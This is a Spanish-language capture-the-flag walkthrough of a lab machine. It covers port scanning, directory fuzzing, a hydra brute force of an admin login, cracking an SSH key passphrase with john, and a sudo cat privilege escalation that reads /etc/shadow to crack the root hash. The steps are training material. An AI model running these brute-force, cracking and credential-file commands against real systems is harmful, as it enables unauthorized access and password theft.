Recurso externo: abrir recurso
:: π Reconocimiento
Antes de comenzar vamos a realizar un ping para ver si hay conectividad con la mΓ‘quina
ββ[ c ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ping -c1 10.10.184.26
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Al tener conectividad podemos comenzar con el escaneo de puertos
Para esta mΓ‘quina vamos a usar las siguientes flags:
~ `-p-`: Escanea todos los puertos (del 1 al 65535)
~ `-sS`: Realiza un escaneo SYN, que es una tΓ©cnica de escaneo rΓ‘pida y sigilosa
~ `-Pn`: Indica a nmap que no haga un ping previo para verificar si el host estΓ‘ vivo
~ `-n`: No resuelve nombres DNS, lo que acelera el escaneo
~ `--min-rate 5000`: Establece una tasa mΓnima de envΓo de paquetes a 5000 paquetes por segundo
~ `--open`: Muestra solo los puertos que estΓ‘n abiertos
`-sCV`: Combina dos flags:
~ `-sC`: Ejecuta scripts NSE (Nmap Scripting Engine)
~ `-sV`: Intenta detectar las versiones de los servicios que estΓ‘n corriendo en los puertos abiertos
Podemos ver que estan abiertos los puertos 22,80
Al ver que el puerto 80 estΓ‘ abierto podemos echar un vistazo a la pΓ‘gina web, previamente veremos
que tecnologΓas esta usando la web, con el comando whatweb
ββ[ clike ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
whatweb 10.10.184.26
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
SegΓΊn los resultados es una pΓ‘gina Apache Default, por lo que al no tener mucho que hacer podemos
probar a fuzzear la pΓ‘gina para ello usaremos la herramienta ffuf
:: π Fuzzing
Con el siguiente comando podemos fuzear todos los directorios de la pΓ‘gina
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ffuf -u http://10.10.184.26/FUZZ -w ~/wordlists/directory-list-2.3-small.txt -c -t 200
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Encontramos una pΓ‘gina admin, vamos a esta ruta
Encontramos una pΓ‘gina con un formulario de login, podemos probar credenciales por defecto
Al ver el coΓ³digo fuente de la pΓ‘gina nos dan el usuario (admin)
admin:admin[^1] admin:guest admin:12345678
Sin embargo, estas credenciales dan error y no nos permiten acceder, podemos seguir fuzzeando o
realizar un ataque de fuerza bruta con un diccionario de contraseΓ±as , para ello voy a usar hydra
:: π Fuerza Bruta
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
hydra -l admin -P ~/wordlists/rockyou.txt 10.10.46.68 http-post-form '/admin/:user=^USER^&pass=^PASS^:Username or password invalid' -I
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Podemos acceder con admin:xavier
Una vez dentro descargamos la clave privada e intentaremos crackearla con john
:: π Cracking con John
Tenemos que convertir la clave rsa a un formato que pueda entender john
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ssh2john id_rsa > john.hash
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
john --wordlist=~/wordlists/rockyou.txt john.hash
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
La contraseΓ±a es rockinroll
Nos conectamos por ssh ahora usando la clave id_rsa
:: β‘ Escalada de privilegios
Con el usuario admin no nos admite esa contraseΓ±a, recordando antes en la web el administrador nos
dejΓ³ un mensaje con el nombre john
Una vez dentro, comprobamos los permisos que puede ejecutar john como sudo
Visitando la web de <https://gtfobins.github.io/gtfobins/cat/#sudo> nos proporciona comandos para
poder escalar privilegios
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
LFILE=file_to_read
sudo cat "$LFILE"
LFILE=/etc/shadow
sudo cat "$LFILE"
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Esto nos arroja el hash del usuario root, que podemos intentar crackear con john
ββ[ bash ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
john --wordlist=~/wordlists/rockyou.txt --format=sha512crypt hash
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[^1]: